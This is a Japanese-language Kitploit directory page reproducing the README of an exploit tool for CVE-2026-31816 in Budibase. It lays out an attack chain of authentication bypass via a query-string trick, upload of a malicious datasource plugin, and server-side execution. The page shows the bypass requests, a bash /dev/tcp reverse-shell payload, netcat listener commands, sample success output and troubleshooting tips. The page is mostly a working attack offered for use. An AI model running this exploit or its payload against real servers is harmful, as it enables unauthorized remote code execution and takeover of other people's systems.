Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31816-rshell — CVE-2026-31816を悪用してBudibaseの認証をバイパスし、悪意のあるデータソースプラグインをアップロードして、リモートアクセス用のリバースシェルを実行します。 | Kitploit
ツール/GitHubGitHub/imjdl/cve-2026-31816-rshell
エクスプロイトウェブアプリケーション悪用認証リモートアクセスツールペイロード開発
GitHubimjdl/cve-2026-31816-rshell

CVE-2026-31816-rshell

CVE-2026-31816を悪用してBudibaseの認証をバイパスし、悪意のあるデータソースプラグインをアップロードして、リモートアクセス用のリバースシェルを実行します。

リポジトリを見る
76ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31816 リバースシェルエクスプロイト

概要

このツールはCVE-2026-31816を悪用して、標的のBudibaseサーバーにリバースシェル接続を確立します。

攻撃チェーン: 認証バイパス → DATASOURCEプラグインのアップロード → サーバーサイドコード実行 → リバースシェル

要件

  • Python 3.6以上
  • requestsライブラリ(pip install requests)
  • CVE-2026-31816の影響を受ける標的Budibaseサーバー

使用方法

基本手順

root@kitploit:~
# 1. 攻撃者マシンでリスナーを起動
nc -lvnp 4444

# 2. エクスプロイトを実行(別のターミナル)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444

パラメータ

パラメータ必須説明
-t, --target✅標的Budibase URL
--lhost✅リスナーホスト(自分のIP)
--lport❌リスナーポート(デフォルト: 4444)

例

root@kitploit:~
# 攻撃者IP: 192.168.1.100
# 標的Budibase: 192.168.1.128:10000

# ターミナル1 - リスナーを起動
nc -lvnp 4444

# ターミナル2 - エクスプロイトを実行
python3 CVE-2026-31816-rshell.py \
    -t http://192.168.1.128:10000 \
    --lhost 192.168.1.100 \
    --lport 4444

動作原理

1. 脆弱性チェック

root@kitploit:~
GET /api/integrations?/webhooks/trigger

200が返された場合、標的は認証バイパスに対して脆弱です。

2. 悪意のあるプラグインの作成

root@kitploit:~
{
  "type": "datasource",
  "schema": { ... }
}

DATASOURCEタイプのプラグインはサーバー上でJavaScriptコードを実行します。

3. リバースシェルペイロード

root@kitploit:~
// プラグインが検証されるときに実行される:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

4. アップロードと実行

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger

認証をバイパスしてプラグインをアップロードします。コードは検証中に実行されます。

攻撃フロー

root@kitploit:~
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  攻撃者     │     │  標的       │     │  リスナー   │
│             │     │  サーバー   │     │   (nc)      │
│             │     │             │     │             │
│ エクスプロイト ────┼────►│ アップロード │     │             │
│             │     │ プラグイン  │     │             │
│             │     │ コード実行  │────►│ 待機        │
│             │     │             │◄────┤ リバース    │
│             │     │             │     │ 接続        │
└─────────────┘     └─────────────┘     └─────────────┘

成功の指標

root@kitploit:~
============================================================
CVE-2026-31816 - リバースシェルエクスプロイト
============================================================
[*] 標的: http://192.168.1.128:10000
[*] リバースシェル: 192.168.1.100:4444

[*] 脆弱性をチェック中...
[+] 標的は脆弱です!
[*] 192.168.1.100:4444を対象としたリバースシェルプラグインを作成中

[*] リバースシェルプラグインをアップロード中...
[*] ステータス: 200
[+] プラグインが正常にインストールされました!

============================================================
[+] 成功!リスナーを確認してください!
============================================================

トラブルシューティング

Q: 接続に失敗し、シェルを受信できない

考えられる原因:

  1. ファイアウォールがリバース接続をブロックしている
  2. 標的サーバーが攻撃者のIPに到達できない
  3. 標的サーバーにbashがない

解決策:

root@kitploit:~
# ネットワーク接続を確認
ping YOUR_IP

# ファイアウォールを確認
sudo ufw allow 4444/tcp

# 別のポートを試す
nc -lvnp 8080

Q: アップロードに失敗した

考えられる原因:

  1. 標的が脆弱性をパッチ済みである
  2. ネットワークの問題

解決策:

root@kitploit:~
# 脆弱性が存在するか手動でテスト
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# JSONが返された場合、脆弱性が存在します
ツールをダウンロード